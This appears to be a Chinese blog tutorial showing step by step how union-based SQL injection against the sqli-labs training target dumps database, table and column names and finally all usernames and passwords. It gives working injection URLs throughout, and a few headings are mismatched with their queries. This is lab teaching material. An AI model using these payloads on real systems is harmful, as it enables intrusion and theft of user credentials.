如何通過SQL隱碼攻擊盜取資料庫資訊

雪山飛豬發表於2021-02-10

我們都是善良的銀!一生戎碼只為行俠仗義,知道這個不是為了做啥非法的事,只是知道小偷怎麼偷東西才能更好地防範。

SQL隱碼攻擊(SQL Injection),SQL隱碼攻擊即是指web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程式中事先定義好的查詢語句的結尾上新增額外的SQL語句,以此來實現欺騙資料庫伺服器執行非授權的任意查詢,從而進一步得到相應的資料資訊。

下面我們用sqli-labs這個開源專案來演示一下SQL隱碼攻擊盜取資訊的全程。
sqli-labs是一個sql注入的練習靶機,專案地址為:/sqli-labs

原始碼是用php寫的,這裡我使用的是docker部署的,如下
這裡我是去store.docker.com搜尋的映象使用:https://hub.docker.com/r/acgpiano/sqli-labs,我們執行一下

docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest

執行後開啟http://127.0.0.1:8089/,介面如下

這是一個闖關的課程,一個有22課,接下來我們只會用到Less-1來演示,也就是單引號注入,但是核心原理其實都是通過UNIONt和CONCAT出對應的資料盜取資訊。

更多技巧可以參考這篇文章:SQL隱碼攻擊篇——sqli-labs最詳細1-75闖關指南

開啟:http://127.0.0.1:8089/Less-1/,看到如下內容

我們輸入id:http://127.0.0.1:8089/Less-1/?id=1,顯示了id為1的使用者

對應的php原始碼是這樣的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

相當於最後sql變成了

SELECT * FROM users WHERE id='1' LIMIT 0,1

知其然也知其所以然,歐耶~

資料庫結構

資料庫是這樣的

注入示例

下面使用Less-1的單引號注入來演示一下盜取資訊的過程

我們把id改成:id=1' and 1=1 -- -,訪問

http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -

可以正常訪問,說明可以用單引號注入,SQL語句相當於變成了

SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1

這就是傳說中的單引號注入,相當於構造出了下面這樣的語句

判斷共有多少欄位

UNION SELECT 1,user(),database()­­ -- -

通過orderby試探,order by是可以直接指定欄位的列來排序的,所以可以挨個試,
比如當我們使用order by 5,訪問

http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -

報錯了,說明不對

當我們用order by 3的時候,正常返回了,訪問地址:

http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -

正常返回了,說明欄位有3個。

判斷欄位的顯示位置

UNION SELECT 1,2,3 -- -

我們構造一下,訪問

http://127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -


分別顯示2和3,說明登入名和密碼欄位在2和3的位置

顯示登入使用者和資料庫名

UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -

已經匹配出了欄位,接下來的所有使用者資訊都需要經過UNION相等的列來獲取,訪問

http://127.0.0.1:8089/Less-1/?id='  UNION SELECT 1,database(),user() -- -

我們看到當前使用的資料庫名叫security,連線的使用者是root超管

檢視所有資料庫名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

其實原理就是構造出了這樣的語句

我們看到了資料庫有information_schema、challenges、mysql、performance_schema、security

檢視資料庫的所有表名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

訪問如下

我們看到有emails、referers、uagents、users這四個表

檢視錶的所有欄位

UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

可以看到用id、username、password3個欄位

檢視所有的使用者密碼

UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -

使用者名稱和密碼全出來了,厲害了我的哥!

到這裡,我們就學會了怎麼把對方所有的隱私load出來了,有點可怕啊!你學會了嗎!以上內容由chenqionghe提供,light weight baby!

相關文章